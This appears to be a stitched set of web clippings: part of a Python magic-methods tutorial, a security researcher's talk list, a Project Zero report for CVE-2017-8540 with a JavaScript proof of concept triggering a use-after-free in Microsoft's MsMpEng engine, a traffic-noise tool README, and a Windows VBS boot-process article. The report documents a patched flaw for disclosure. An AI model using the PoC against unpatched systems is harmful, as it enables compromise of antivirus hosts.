After all this, __getattribute__ fits in pretty well with its companions __setattr__ and__delattr__. However, I don't recommend you use it. __getattribute__ can only be used with new-style classes (all classes are new-style in the newest versions of Python, and in older versions you can make a class new-style by subclassing object. It allows you to define rules for whenever an attribute's value is accessed. It suffers from some similar infinite recursion problems as its partners-in-crime (this time you call the base class's __getattribute__ method to prevent this). It also mainly obviates the need for __getattr__, which only gets called when __getattribute__ is implemented if it is called explicitly or an AttributeError is raised. This method can be used (after all, it's your choice), but I don't recommend it because it has a small use case (it's far more rare that we need special behavior to retrieve a value than to assign to it) and because it can be really difficult to implement bug-free.
You can easily cause a problem in your definitions of any of the methods controlling attribute access. Consider this example:
def __setattr__(self, name, value):
    self.name = value
    # since every time an attribute is assigned, __setattr__() is called, this
    # is recursion.
    # so this really means self.__setattr__(name, value). Since the method
    # keeps calling itself, the recursion goes on forever causing a crash

def __setattr__(self, name, value):
    self.__dict__[name] = value # assigning to the dict of names in the class
    # define custom behavior here

Again, Python's magic methods are incredibly powerful, and with great power comes great responsibility. It's important to know the proper way to use magic methods so you don't break any code. 
So, what have we learned about custom attribute access in Python? It's not to be used lightly. In fact, it tends to be excessively powerful and counter-intuitive. But the reason why it exists is to scratch a certain itch: Python doesn't seek to make bad things impossible, but just to make them difficult. Freedom is paramount, so you can really do whatever you want. Here's an example of some of the special attribute access methods in action:
class AccessCounter:
    '''A class that contains a value and implements an access counter.
    The counter increments each time the value is changed.'''

    def __init__(self, val):
        self.__dict__['counter'] = 0
        self.__dict__['value'] = val

    def __setattr__(self, name, value):
        if name == 'value':
            self.__dict__['counter'] += 1
            self.__dict__['value'] = value

    def __delattr__(self, name):
        if name == 'value':
            self.__dict__['counter'] += 1
            del self.__dict__['value']

Making Custom Sequences
There's a number of ways to get your Python classes to act like built in sequences (dict, tuple, list, string, etc.). These are by far my favorite magic methods in Python because of the absurd degree of control they give you and the way that they magically make a whole array of global functions work beautifully on instances of your class. But before we get down to the good stuff, a quick word on requirements.
Requirements
Now that we're talking about creating your own sequences in Python, it's time to talk about protocols. Protocols are somewhat similar to interfaces in other languages in that they give you a set of methods you must define. However, in Python protocols are totally informal and require no explicit declarations to implement. Rather, they're more like guidelines.
Why are we talking about protocols now? Because implementing custom container types in Python involves using some of these protocols. First, there's the protocol for defining immutable containers: to make an immutable container, you need only define __len__ and __getitem__ (more on these later). The mutable container protocol requires everything that immutable containers require plus __setitem__ and__delitem__. Lastly, if you want your object to be iterable, you'll have to define __iter__, which returns an iterator. That iterator must conform to an iterator protocol, which requires iterators to have methods called __iter__(returning itself) and next.
The magic behind containers
Without any more wait, here are the magic methods that containers use:
__len__(self)
Returns the length of the container. Part of the protocol for both immutable and mutable containers.
__getitem__(self, key)
Defines behavior for when an item is accessed, using the notation self[key]. This is also part of both the mutable and immutable container protocols. It should also raise appropriate exceptions:TypeError if the type of the key is wrong and KeyError if there is no corresponding value for the key.
__setitem__(self, key, value)
Defines behavior for when an item is assigned to, using the notation self[key] = value. This is part of the mutable container protocol. Again, you should raise KeyError and TypeError where appropriate.
__delitem__(self, key)
Defines behavior for when an item is deleted (e.g. del self[key]). This is only part of the mutable container protocol. You must raise the appropriate exceptions when an invalid key is used.
__iter__(self)
Should return an iterator for the container. Iterators are returned in a number of contexts, most notably by the iter() built in function and when a container is looped over using the form for x in container:. Iterators are their own objects, and they also must define an __iter__ method that returns self.
__reversed__(self)
Called to implement behavior for the reversed() built in function. Should return a reversed version of the list.
__contains__(self, item)
__contains__ defines behavior for membership tests using in and not in. Why isn't this part of a sequence protocol, you ask? Because when __contains__ isn't defined, Python just iterates over the sequence and returns True if it comes across the item it's looking for.
__concat__(self, other)
Lastly, you can define behavior for concatenating your sequence with another by defining__concat__. It should return a new sequence constructed from self and other. __concat__ is invoked with the + operator when it is called on two sequences. 
An example
For our example, let's look at a list that implements some functional constructs that you might be used to from other languages (Haskell, for example).
class FunctionalList:
    '''A class wrapping a list with some extra functional magic, like head,
    tail, init, last, drop, and take.'''

    def __init__(self, values=None):
        if values is None:
            self.values = []
        else:
            self.values = values

    def __len__(self):
        return len(self.values)

    def __getitem__(self, key):
        # if key is of invalid type or value, the list values will raise the error
        return self.values[key]

    def __setitem__(self, key, value):
        self.values[key] = value

    def __delitem__(self, key):
        del self.values[key]

    def __iter__(self):
        return iter(self.values)

    def __reversed__(self):
        return reversed(self.values)

    def append(self, value):
        self.values.append(value)
    def head(self):
        # get the first element
        return self.values[0]
    def tail(self):
        # get all elements after the first
        return self.values[1:]
    def init(self):
        # get elements up to the last
        return self.values[:-1]
    def last(self):
        # get last element
        return self.values[-1]
    def drop(self, n):
        # get all elements except first n
        return self.values[n:]
    def take(self, n):
        # get first n elements
        return self.values[:n]

There you have it, a (marginally) useful example of how to implement your own sequence. Of course, there are more useful applications of custom sequences, but quite a few of them are already implemented in the standard library (batteries included, right?), like Counter, OrderedDict, and NamedTuple.
Reflection
You can also control how reflection using the built in functions isinstance() and issubclass()behaves by defining magic methods. The magic methods are:
__instancecheck__(self, instance)
Checks if an instance is an instance of the class you defined (e.g. isinstance(instance, class).
__subclasscheck__(self, subclass)
Checks if a class subclasses the class you defined (e.g. issubclass(subclass, class)).
The use case for these magic methods might seem small, and that may very well be true. I won't spend too much more time on reflection magic methods because they aren't very important, but they reflect something important about object-oriented programming in Python and Python in general: there is almost always an easy way to do something, even if it's rarely necessary. These magic methods might not seem useful, but if you ever need them you'll be glad that they're there (and that you read this guide!).
Callable Objects
As you may already know, in Python, functions are first-class objects. This means that they can be passed to functions and methods just as if they were objects of any other kind. This is an incredibly powerful feature.
A special magic method in Python allows instances of your classes to behave as if they were functions, so that you can "call" them, pass them to functions that take functions as arguments, and so on. This is another powerful convenience feature that makes programming in Python that much sweeter.
__call__(self, [args...])
Allows an instance of a class to be called as a function. Essentially, this means that x() is the same as x.__call__(). Note that __call__ takes a variable number of arguments; this means that you define __call__ as you would any other function, taking however many functions you'd like it to.
__call__ can be particularly useful in classes whose instances that need to often change state. "Calling" the instance can be an intuitive and elegant way to change the object's state. An example might be a class representing an entity's position on a plane:
class Entity:
    '''Class to represent an entity. Callable to update the entity's position.'''

    def __init__(self, size, x, y):
        self.x, self.y = x, y
        self.size = size

    def __call__(self, x, y):
        '''Change the position of the entity.'''
        self.x, self.y = x, y

    # snip...

Context Managers
In Python 2.5, a new keyword was introduced in Python along with a new method for code reuse, the withstatement. The concept of context managers was hardly new in Python (it was implemented before as a part of the library), but not until PEP 343 was accepted did it achieve status as a first class language construct. You may have seen with statements before:
with open('foo.txt') as bar:
    # perform some action with bar

Context managers allow setup and cleanup actions to be taken for objects when their creation is wrapped with a with statement. The behavior of the context manager is determined by two magic methods:
__enter__(self)
Defines what the context manager should do at the beginning of the block created by the withstatement. Note that the return value of __enter__ is bound to the target of the with statement, or the name after the as.
__exit__(self, exception_type, exception_value, traceback)
Defines what the context manager should do after its block has been executed (or terminates). It can be used to handle exceptions, perform cleanup, or do something always done immediately after the action in the block. If the block executes successfully, exception_type, exception_value, andtraceback will be None. Otherwise, you can choose to handle the exception or let the user handle it; if you want to handle it, make sure __exit__ returns True after all is said and done. If you don't want the exception to be handled by the context manager, just let it happen.
__enter__ and __exit__ can be useful for specific classes that have well-defined and common behavior for setup and cleanup. You can also use these methods to create generic context managers that wrap other objects. Here's an example:
class Closer:
    '''A context manager to automatically close an object with a close method
    in a with statement.'''

    def __init__(self, obj):
        self.obj = obj

    def __enter__(self):
        return self.obj # bound to target

    def __exit__(self, exception_type, exception_val, trace):
        try:
           self.obj.close()
        except AttributeError: # obj isn't closable
           print 'Not closable.'
           return True # exception handled successfully

Here's an example of Closer in action, using an FTP connection to demonstrate it (a closable socket):
>>> from magicmethods import Closer
>>> from ftplib import FTP
>>> with Closer(FTP('ftp.somesite.com')) as conn:
...     conn.dir()
...
# output omitted for brevity
>>> conn.dir()
# long AttributeError message, can't use a connection that's closed
>>> with Closer(int(5)) as i:
...     i += 1
...
Not closable.
>>> i
6

See how our wrapper gracefully handled both proper and improper uses? That's the power of context managers and magic methods.
Building Descriptor Objects
Descriptors are classes which, when accessed through either getting, setting, or deleting, can also alter other objects. Descriptors aren't meant to stand alone; rather, they're meant to be held by an owner class. Descriptors can be useful when building object-oriented databases or classes that have attributes whose values are dependent on each other. Descriptors are particularly useful when representing attributes in several different units of measurement or representing computed attributes (like distance from the origin in a class to represent a point on a grid).
To be a descriptor, a class must have at least one of __get__, __set__, and __delete__ implemented. Let's take a look at those magic methods:
__get__(self, instance, owner)
Define behavior for when the descriptor's value is retrieved. instance is the instance of the owner object. owner is the owner class itself.
__set__(self, instance, value)
Define behavior for when the descriptor's value is changed. instance is the instance of the owner class and value is the value to set the descriptor to.
__delete__(self, instance)
Define behavior for when the descriptor's value is deleted. instance is the instance of the owner object.
Now, an example of a useful application of descriptors: unit conversions.
class Meter(object):
    '''Descriptor for a meter.'''

    def __init__(self, value=0.0):
        self.value = float(value)
    def __get__(self, instance, owner):
        return self.value
    def __set__(self, instance, value):
        self.value = float(value)

class Foot(object):
    '''Descriptor for a foot.'''

    def __get__(self, instance, owner):
        return instance.meter * 3.2808
    def __set__(self, instance, value):
        instance.meter = float(value) / 3.2808

class Distance(object):
    '''Class to represent distance holding two descriptors for feet and
    meters.'''
    meter = Meter()
    foot = Foot()

Pickling Your Objects
If you spend time with other Pythonistas, chances are you've at least heard of pickling. Pickling is a serialization process for Python data structures, and can be incredibly useful when you need to store an object and retrieve it later. It's also a major source of worries and confusion.
Pickling is so important that it doesn't just have its own module (pickle), but its own protocol and the magic methods to go with it. But first, a brief word on how to pickle existing types(feel free to skip it if you already know).
Pickling: A Quick Soak in the Brine
Let's dive into pickling. Say you have a dictionary that you want to store and retrieve later. You could write it's contents to a file, carefully making sure that you write correct syntax, then retrieve it using eitherexec() or processing the file input. But this is precarious at best: if you store important data in plain text, it could be corrupted or changed in any number of ways to make your program crash or worse run malicious code on your computer. Instead, we're going to pickle it:
import pickle

data = {'foo': [1, 2, 3],
        'bar': ('Hello', 'world!'),
        'baz': True}
jar = open('data.pkl', 'wb')
pickle.dump(data, jar) # write the pickled data to the file jar
jar.close()

Now, a few hours later, we want it back. All we have to do is unpickle it:
import pickle

pkl_file = open('data.pkl', 'rb') # connect to the pickled data
data = pickle.load(pkl_file) # load it into a variable
print data
pkl_file.close()

What happens? Exactly what you expect. It's just like we had data all along.
Pickling your own Objects
Pickling isn't just for built-in types. It's for any class that follows the pickle protocol. The pickle protocol has four optional methods for Python objects to customize how they act (it's a bit different for C extensions, but that's not in our scope):
__getinitargs__(self)
If you'd like for __init__ to be called when your class is unpickled, you can define __getinitargs__, which should return a tuple of the arguments that you'd like to be passed to __init__. Note that this method will only work for old-style classes.
__getnewargs__(self)
For new-style classes, you can influence what arguments get passed to __new__ upon unpickling. This method should also return a tuple of arguments that will then be passed to __new__.
__getstate__(self)
Instead of the object's __dict__ attribute being stored, you can return a custom state to be stored when the object is pickled. That state will be used by __setstate__ when the object is unpickled.
__setstate__(self, state)
When the object is unpickled, if __setstate__ is defined the object's state will be passed to it instead of directly applied to the object's __dict__. This goes hand in hand with __getstate__: when both are defined, you can represent the object's pickled state however you want with whatever you want.
An Example
Our example is a Slate, which remembers what its values have been and when those values were written to it. However, this particular slate goes blank each time it is pickled: the current value will not be saved.
import time

class Slate:
    '''Class to store a string and a changelog, and forget its value when
    pickled.'''

    def __init__(self, value):
        self.value = value
        self.last_change = time.asctime()
        self.history = {}

    def change(self, new_value):
        # Change the value. Commit last value to history
        self.history[self.last_change] = self.value
        self.value = new_value
        self.last_change = time.asctime()

    def print_changes(self):
        print 'Changelog for Slate object:'
        for k, v in self.history.items():
            print '%s\t %s' % (k, v)

    def __getstate__(self):
        # Deliberately do not return self.value or self.last_change.
        # We want to have a "blank slate" when we unpickle.
        return self.history

    def __setstate__(self, state):
        # Make self.history = state and last_change and value undefined
        self.history = state
        self.value, self.last_change = None, None

Conclusion
The goal of this guide is to bring something to anyone that reads it, regardless of their experience with Python or object-oriented programming. If you're just getting started with Python, you've gained valuable knowledge of the basics of writing feature-rich, elegant, and easy-to-use classes. If you're an intermediate Python programmer, you've probably picked up some slick new concepts and strategies and some good ways to reduce the amount of code written by you and clients. If you're an expert Pythonista, you've been refreshed on some of the stuff you might have forgotten about and maybe picked up a few new tricks along the way. Whatever your experience level, I hope that this trip through Python's special methods has been truly magical (I couldn't resist the final pun).
Appendix: How to Call Magic Methods
Some of the magic methods in Python directly map to built-in functions; in this case, how to invoke them is fairly obvious. However, in other cases, the invocation is far less obvious. This appendix is devoted to exposing non-obvious syntax that leads to magic methods getting called.
Magic Method
When it gets invoked (example)
Explanation
__new__(cls [,...])
instance = MyClass(arg1, arg2)
__new__ is called on instance creation
__init__(self [,...])
instance = MyClass(arg1, arg2)
__init__ is called on instance creation
__cmp__(self, other)
self == other, self > other, etc.
Called for any comparison
__pos__(self)
+self
Unary plus sign
__neg__(self)
-self
Unary minus sign
__invert__(self)
~self
Bitwise inversion
__index__(self)
x[self]
Conversion when object is used as index
__nonzero__(self)
bool(self)
Boolean value of the object
__getattr__(self, name)
self.name # name doesn't exist
Accessing nonexistent attribute
__setattr__(self, name, val)
self.name = val
Assigning to an attribute
__delattr__(self, name)
del self.name
Deleting an attribute
__getattribute(self, name)
self.name
Accessing any attribute
__getitem__(self, key)
self[key]
Accessing an item using an index
__setitem__(self, key, val)
self[key] = val
Assigning to an item using an index
__delitem__(self, key)
del self[key]
Deleting an item using an index
__iter__(self)
for x in self
Iteration
__contains__(self, value)
value in self, value not in self
Membership tests using in
__concat__(self, value)
self + other
Concatenation of two sequences
__call__(self [,...])
self(args)
"Calling" an instance
__enter__(self)
with self as x:
with statement context managers
__exit__(self, exc, val, trace)
with self as x:
with statement context managers
__getstate__(self)
pickle.dump(pkl_file, self)
Pickling
__setstate__(self)
data = pickle.load(pkl_file)
Pickling
Hopefully, this table should have cleared up any questions you might have had about what syntax invokes which magic method.
﻿http://www.c7zero.info/ 
A Tale of One Software Bypass of Windows 8 Secure Boot
Created:
9/27/2013 11:02:31 AM
Updated:
9/27/2013 11:03:40 AM
Author:

Tags:
boot-process win8


c7zero 
RESEARCH 
A Tale of One Software Bypass of Windows 8 Secure Boot  [ SLIDES   DEMO 1   DEMO 2   ]
Yuriy Bulygin, Andrew Furtak, Oleksandr Bazhaniuk 
Black Hat USA 2013 
Windows 8 Secure Boot based on UEFI 2.3.1 Secure Boot is an important step towards securing platforms from malware compromising boot sequence before the OS. However, there are certain mistakes platform vendors shouldn't make which can completely undermine protections offered by Secure Boot. We will demonstrate an example of full software bypass of Windows 8 Secure Boot due to such mistakes on some of the latest platforms and explain how those mistakes can be avoided.
Evil Maid Just Got Angrier: Why Full-Disk Encryption With TPM is Insecure on Many Systems  [ SLIDES   DEMO   ]
CanSecWest 2013 
Security features like Full-Disk Encryption solutions rely on protections of the underlying firmware and hardware. Often system firmware (BIOS) doesn't use or incorrectly configures protections offered by hardware. This work demonstrates that software Full-Disk Encryption solutions are still subject to Evil Maid attacks when firmware fails to correctly utilize hardware protections, even when they rely on Trusted Platform Module to protect contents on the system drive from attacks that tamper with system firmware.
Country Fair  ;)
Intel Security Conference 2011 
Enhanced Detection of Malware  [ PAPER   ; ]
Carlos Rozas, Hormuzd Khosravi, Divya Kolar Sunder, Yuriy Bulygin 
Intel Technology Journal, Volume 13 Issue 02, 2009 (Advances in Internet Security) 
Researchers and industry have found novel uses for cloud computing to detect malware. We present a cloud-computing-based architecture that improves the resiliency of the existing solutions, and we describe our prototype that is based on existing Intel platforms. 
Chipset Based Detection and Removal of Virtualization Malware 
Intel Virtualization Security Summit 2008 
Insane Detection of Insane Rootkits: Chipset Based Detection and Removal of Virtualization Malware  [ SLIDES  DEMO   ]
Yuriy Bulygin, David Samyde 
Black Hat USA 2008 
This work introduces an approach to detect hardware-assisted virtualization malware different from currently developed techniques. It uses hardware capabilities of an embedded microcontroller inside chipset's north-bridge to detect virtualization malware, and to go beyond detection and remove it from the system. We will discuss advantages and other potential applications of the approach, possible attacks evading detection and solutions. 

It also includes a demo of DeepWatch, a proof of concept detector of VT-x based virtualization rootkits implemented in north-bridge firmware.
CPU side-channels vs. virtualization rootkits: the good, the bad, or the ugly  [ SLIDES  DEMO  HYPER-CHANNEL CODE  ]
ToorCon Seattle 2008 
Side-channels that use CPU resources are bad. Everyone knows that. Rootkits that use CPU virtualization aren't any better. Security researchers mentioned theoretical possibility of using new developments in CPU side-channel cryptanalysis to detect virtualization rootkits. The purpose of this talk is to demonstrate actual implementation of detector that uses recently discovered RSB based micro-architectural side-channel to detect CPU virtualization rootkits. We will also describe essentials of the RSB-based side-channel analysis used by our detector.
Remote and Local Exploitation of Network Drivers  [ PAPER  SLIDES  DEMO (55MB )  ]
Black Hat USA 2007 
During 2006 vulnerabilities in wireless LAN drivers gained an increasing attention in security community. One can explain this by the fact that any hacker can take control over every vulnerable laptop without having any "visible" connection with those laptops and execute a malicious code in kernel. 

This work describes the process behind hunting remote and local vulnerabilities in wireless LAN drivers as well as in other types of network drivers. The first part of the work describes simple and much more advanced examples of remote execution vulnerabilities in wireless device drivers that should be considered during vulnerabilities search. We demonstrate an example design of kernel-mode payload and construct a simple wireless frames fuzzer. The second part of the work explains local privilege escalation vulnerabilities in I/O Control device driver interface on Microsoft® Windows®, introduces a technique to uncover them. The third part of the work describes specific examples of local vulnerabilities in network drivers that can be exploited remotely and an exploitation technique. In the last part of the work we present case studies of remote and local vulnerabilities mitigated in Intel® Centrino® wireless LAN device drivers.

OLDER PAPERS 
Epidemics of Mobile Worms  [ PAPER   ; ]
IEEE IPCCC Malware 2007 
A Spread Model of Flash Worms  [ PAPER   ; ]
IEEE IPCCC Malware 2006 
 
﻿https://bugs.chromium.org/p/project-zero/issues/detail?id=1258 
1258 - Windows MsMpEng remotely exploitable UaF due to design issue in GC engine - project-zero - Monorail
Created:
5/31/2017 6:07:52 PM
Updated:
5/31/2017 6:07:52 PM
Author:

Tags:
windows environment antivirus




MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.

During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.

MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.

The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.

The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.

The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:

  JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
 
  JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
  // nothing (apart from maybe JSBench?) is rooting this_str as long as we
  // don't keep any references to it in script
  // the native code needs to prevent GC to keep it alive while it needs it
 
  int len = JsString::numBytes(this_str); // okay because this can't cause GC

  int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );

  // this calls valueOf() on the first argument
  // toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()

  // It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
  // however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
  // which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
  // the native stack isn't scanned and no script objects reference it.)
 
  // the code continues and does something like this:
  JsString::initBySub(jsState, this_str ...
 
  // that ends up calling a virtual method on the free’d this_str


PoC script:

function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);

PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"
 
 
nscript-gc-bug.zip 
21.2 KB Download
Project Member Comment 1 by ianbeer@google.com, May 12 
Labels: Reported-2017-May-12
Project Member Comment 2 by ianbeer@google.com, May 13 
Labels: msrc-case-38698
MSRC case 38698
Project Member Comment 3 by taviso@google.com, May 25 (6 days ago) 
From what I can tell, Microsoft silently patched this yesterday in mpengine 1.1.13804.0.

They also fixed  issue 1258 ,  issue 1259 ,  issue 1260  and  issue 1261 .
Project Member Comment 4 by ianbeer@google.com, May 29 (2 days ago) 
Here's a clearer PoC not all on one line for the mpengine shell :)

//*************************
function gc() {
  eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
};

var x = Object();
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
// if we do want to return a string object it has to have more than three characters so it doesn't use the 
// inline string optimization
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};

var l = Object();
l.valueOf = function() {gc(); return 1;};

String.prototype.slice.call(x, l);
//************************
Project Member Comment 5 by ianbeer@google.com, May 29 (2 days ago) 
Labels: Fixed-2017-May-24 CVE-2017-8540
Status: Fixed
Microsoft Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8540
Project Member Comment 6 by ianbeer@google.com, Yesterday (34 hours ago) 
Labels: -Restrict-View-Commit


﻿A Neurosemantic Theory of Concrete Noun Representation Based on the Underlying Brain Codes
Created:
1/13/2010 8:09:28 PM
Updated:
1/13/2010 8:09:42 PM
Author:

Tags:
bookmark papers


﻿https://github.com/1tayH/noisy 
1tayH/noisy
Created:
9/23/2018 8:45:31 AM
Updated:
9/23/2018 8:45:31 AM
Author:
wishi
Tags:
Metadata Logs opsec




Noisy

A simple python script that generates random HTTP/DNS traffic noise in the background while you go about your regular web browsing, to make your web traffic data less valuable for selling and for extra obscurity.
Tested on MacOS High Sierra, Ubuntu 16.04 and Raspbian Stretch and is compatable with both Python 2.7 and 3.6
Getting Started
These instructions will get you a copy of the project up and running on your local machine
Dependencies
Install requests if you do not have it already installed, using pip:
pip install requests
Usage
Clone the repository
git clone https://github.com/1tayH/noisy.git
Navigate into the noisy directory
cd noisy
Run the script
python noisy.py --config config.json
The program can accept a number of command line arguments:
$ python noisy.py --help
usage: noisy.py [-h] [--log -l] --config -c [--timeout -t]

optional arguments:
  -h, --help    show this help message and exit
  --log -l      logging level
  --config -c   config file
  --timeout -t  for how long the crawler should be running, in seconds
only the config file argument is required.
Output
$ docker run -it noisy --config config.json --log debug
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): 4chan.org:80
DEBUG:urllib3.connectionpool:http://4chan.org:80 "GET / HTTP/1.1" 301 None
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): www.4chan.org:80
DEBUG:urllib3.connectionpool:http://www.4chan.org:80 "GET / HTTP/1.1" 200 None
DEBUG:root:found 92 links
INFO:root:Visiting http://boards.4chan.org/s4s/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/ HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/s4s/thread/6850193#p6850345
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/thread/6850193 HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/o/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /o/ HTTP/1.1" 200 None
DEBUG:root:Hit a dead end, moving to the next root URL
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET / HTTP/1.1" 200 None
DEBUG:root:found 237 links
INFO:root:Visiting https://www.reddit.com/user/Saditon
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET /user/Saditon HTTP/1.1" 200 None
...
Build Using Docker
1. Build the image
docker build -t noisy .
Or if you'd like to build it for a Raspberry Pi (running Raspbian stretch):
docker build -f Dockerfile.pi -t noisy .
2. Create the container and run:
docker run -it noisy --config config.json
Some examples
Some edge-cases examples are available on the examples folder. You can read more there examples/README.md.
Authors
· Itay Hury - Initial work - 1tayH
See also the list of contributors who participated in this project.
License
This project is licensed under the GNU GPLv3 License - see the LICENSE.md file for details
Acknowledgments
This project has been inspired by
· RandomNoise
· web-traffic-generator

﻿http://blog.amossys.fr/virtualization-based-security-part1.html 
AMOSSYS Security Blog
Created:
2/10/2017 10:15:52 AM
Updated:
2/10/2017 10:15:52 AM
Author:

Tags:
virtusalisation




Virtualization Based Security - Part 1: The boot process
Thu 02 February 2017 
By Adrien Chevalier
This blog post is the first part of a collection of articles covering Virtualization Based Security and Device Guard features. The objectives of these articles is to share a better understanding of these features from a technical point of view. This first article will cover the system boot process, from the Windows bootloader to the VTL0 startup.
Virtualization Based Security
Virtualization Based Security (VBS) is a major Microsoft Windows security feature, coming with Windows 10 and Windows Server 2016. For instance, both DeviceGuard and CredentialGuard rely on it. For those who do not know about this two key security innovations of Windows 10, DeviceGuard allows the system to block anything other than trusted applications. As for CredentialGuard, it allows the system to isolate the lsass.exe process in order to block memory read attempts from password harvesters such as Mimikatz. 
The main idea of this new features is to use hardware virtualization technologies such as Intel VT-X in order to offer strong segmentation between two virtual machines (VM), and probably more in the future. These technologies allow the Virtual Machine Manager (VMM) setting different rights on physical pages using Extended Page Tables (EPT). In other words, a VM can set a physical page writable (+W) in its Page Table Entry (PTE), and the VMM can silently authorize or block this by setting the appropriate access right in its EPT.
Virtualization Based Security relies on the Hyper-V technology, which will spawn VMs of different Virtual Trust Levels (called VTL). Hyper-V consists in a hypervisor, and any operating system, even the “main” one, is contained in a VM. This “main” operating system, Windows, is considered as the root VM. Hyper-V trusts it and accepts management orders such as controlling other VMs. Other VMs may be “enlightened”, and if so, send restricted messages to Hyper-V for their own management.
VTLs are numbered, the higher being the most trusted one. For now, there are two VTLs:
· VTL0, which is the normal world, and basically consists in the standard Windows operating system,
· VTL1, which is the secure world, and consists in a minimalized kernel and secured applications known as trustlets.

Figure 1: Overview of Virtualization Based Security
The CredentialGuard security feature leverages this technology in isolating the critical lsass.exe process in a VTL1 trustlet (lsaiso.exe, “Isolated LSA” in the above picture), making impossible to even the VTL0 kernel to access its memory. Only messages may be forwarded to the isolated process from the VTL0, effectively blocking memory passwords and hashes harvesters such as Mimikatz'.
The DeviceGuard security features allows W^X memory mitigation (a physical page cannot be both executable and writable) in the VTL0 kernel address space, and accepts a policy which will contain authorized code signers. If the VTL0 kernel wants to make a physical page executable, it must asks the VTL1 for the change (“HVCI” in the picture), which will check the signature against its policy. For usermode code, this is not enforced yet, and the VTL0 kernel just asks for the signature verification. Policies are loaded during the boot startup, and cannot be modified after, which forces the user to reboot in order to load new policies.
Policies may also be signed: in that case, authorized signers are set in UEFI variables, and new policies will be checked against these signers. UEFI variables have their Setup and Boot flags set, which means they cannot be accessed nor modified after startup. In order to cleanup these variables, the local user must reboot using a custom Microsoft EFI bootloader, which will remove them after user interaction (by pressing a key).
Therefore, VBS heavily relies on SecureBoot: the bootloader’s integrity must be checked, as it is responsible to load the policies, Hyper-V, the VTL1, and so on.
If you are interested in a detailed Device Guard overview, you can read this MSDN article: https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/.
We also encourage you to read/listen Alex Ionescu and Rafal Wojtczuk BlackHat 2015/2016 presentations, which helped us a lot in this work:
· "Battle of SKM and IUM", Alex Ionescu BlackHat 2015 (slides);
· "Battle of SKM and IUM", Alex Ionescu BlackHat 2015 (video);
· "Analysis of the attack surface of windows 10", Rafal Wojtczuk BlackHat 2016 (slides);
· "Analysis of the attack surface of windows 10", Rafal Wojtczuk BlackHat 2016 (whitepaper);
· "Analysis of the attack surface of windows 10", Rafal Wojtczuk BlackHat 2016 (video).
In this article, we will cover the system boot process, from the Windows bootloader to the VTL0 startup. In order to analyze how VBS initializes itself during the boot process, the following files of a Windows 10 1607 build have been reverse-engineered:
· bootmgr.efi: the EFI boot loader (a small part of it);
· winload.efi: the EFI Windows loader;
· hvix.exe: the hyper-V (a really tiny of it);
· ntoskrnl.exe: the NTOS kernel;
· securekernel.exe: the secure kernel;
· ci.dll: the VTL0 code integrity;
· skci.dll: the VTL1 code integrity.
So let's dig into the VBS boot process, starting from the execution of winload.efi to the ntoskrnl.exe entry point execution. 
The Boot Process
The boot process can be summarized in these 5 essentiels steps:
· bootmgr.efi is the first component to be loaded. It is validated by SecureBoot and then executed;
· bootmgr.efi loads and checks winload.efi, the main windows loader;
· winload loads and checks the VBS configuration;
· winload loads and checks Hyper-V and the VTL0/VTL1 kernels components;
· winload exits EFI mode, starts Hyper-V.
Bootmgr.efi
When the system boots up, the Bootmgr.efi is the first Microsoft component that is executed. Its integrity and signature have been previously validated by the Secure Boot UEFI code. In order to be able to recognize revoked signatures, the DBX database which contains revoked signatures is checked (at the end of 2016, this database contains 71 blacklisted -and unknown- SHA256 hashes). At the end of the bootmgr.efi code, the execution is transferred to the winload.efi entry point: OslpMain/OslMain.
